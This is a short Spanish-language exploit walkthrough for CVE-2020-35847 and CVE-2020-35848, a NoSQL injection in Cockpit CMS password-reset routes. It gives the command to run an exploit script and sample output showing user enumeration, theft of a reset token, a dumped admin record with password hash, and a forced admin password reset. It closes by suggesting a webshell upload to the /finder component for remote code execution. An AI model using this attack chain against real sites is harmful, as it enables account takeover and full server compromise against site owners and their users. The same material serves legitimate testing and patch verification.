
CVE-2020-35847, CVE-2020-35848 : Toma de Control de Cuenta
Cockpit CMS anterior a la versión 0.11.2 es vulnerable a una inyección NoSQL en las rutas /auth/resetpassword y /auth/newpassword que permite la extracción de tokens de restablecimiento de contraseña, lo que posibilita la enumeración de detalles de usuario y el restablecimiento de contraseña.
Este script de Python enumera usuarios en el sistema y restablece la contraseña.
python3 exploit.py -u http://cockpit-site-url
El script primero enumera usuarios en el sistema.
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) :
[+] Users Found : ['admin', 'user1', 'user2', 'user3']
Luego puedes elegir de qué usuario obtener más información. Esto también genera tokens de restablecimiento para ese usuario, un requisito clave para el restablecimiento de contraseña.
[-] Get user details For : admin
[+] Finding Password reset tokens
Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information
-----------------Details--------------------
[*] user : admin
[*] name : Admin
[*] email : [email protected]
[*] active : True
[*] group : admin
[*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] i18n : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
Finalmente, puedes elegir restablecer la contraseña del usuario.
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is:
Username : admin
Password : new_random_password
Luego puedes elegir subir una webshell al componente /finder para obtener RCE.